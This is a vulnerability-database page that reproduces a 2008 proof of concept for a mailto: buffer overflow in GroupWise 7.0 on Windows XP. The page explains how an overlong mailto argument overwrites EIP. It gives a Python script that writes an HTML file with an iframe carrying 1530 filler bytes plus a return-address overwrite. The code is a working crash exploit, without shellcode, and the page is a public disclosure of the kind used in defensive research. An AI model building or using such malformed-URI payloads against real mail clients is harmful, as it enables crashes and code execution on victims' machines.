GroupWise 7.0 (mailto: scheme) Buffer Overflow PoC

🗓️ 29 Apr 2008 00:00:00Reported by RootType

GroupWise 7.0 mailto scheme buffer overflow PoC with code execution vulnerability on Windows X


                                                PRODUCT:&nbsp;GroupWise&nbsp;7.0
OS:&nbsp;Windows&nbsp;Xp

The&nbsp;scheme&nbsp;&quot;mailto&quot;&nbsp;is&nbsp;vulnerable&nbsp;if&nbsp;one&nbsp;takes&nbsp;as&nbsp;default&nbsp;mail&nbsp;client&nbsp;to&nbsp;
GroupWise,&nbsp;the&nbsp;fault&nbsp;is&nbsp;to&nbsp;implement&nbsp;the&nbsp;scheme&nbsp;followed&nbsp;by&nbsp;an&nbsp;extensive&nbsp;
argument&nbsp;and&nbsp;this&nbsp;causes&nbsp;the&nbsp;buffer&nbsp;overflow.&nbsp;This&nbsp;brings&nbsp;the&nbsp;consequence&nbsp;that&nbsp;
can&nbsp;overwrite&nbsp;the&nbsp;EIP&nbsp;and&nbsp;is&nbsp;able&nbsp;to&nbsp;execute&nbsp;arbitrary&nbsp;code.&nbsp;The&nbsp;result&nbsp;with&nbsp;a&nbsp;
debbuger&nbsp;us&nbsp;what&nbsp;reveals.&nbsp;

Access&nbsp;violation&nbsp;when&nbsp;executing&nbsp;[41414141]&nbsp;

What&nbsp;power&nbsp;is&nbsp;that&nbsp;vulnerability&nbsp;to&nbsp;attach&nbsp;a&nbsp;html&nbsp;file&nbsp;which&nbsp;is&nbsp;included&nbsp;in&nbsp;an&nbsp;
iframe&nbsp;with&nbsp;the&nbsp;scheme&nbsp;badly&nbsp;formed&nbsp;runs&nbsp;only&nbsp;watch.

proof&nbsp;of&nbsp;concept

#!/usr/bin/python

a&nbsp;=&nbsp;&quot;&lt;iframe&nbsp;src='mailto:&quot;
a&nbsp;+=&nbsp;&quot;A&quot;&nbsp;*&nbsp;1530
a&nbsp;+=&nbsp;&quot;\x61\x61\x61\x61&quot;
a&nbsp;+=&nbsp;&quot;'&nbsp;width='320'&nbsp;height='300'&nbsp;scrolling='yes'&nbsp;name='content'&gt;&lt;/iframe&gt;&quot;

file&nbsp;=&nbsp;open(&quot;test.html&quot;,&nbsp;&quot;w&quot;)
file.write(a)
file.close()

greetings!

Juan&nbsp;Pablo&nbsp;Lopez&nbsp;Yacubian

29 Apr 2008 00:00Current

7.1High risk

Vulners AI Score7.1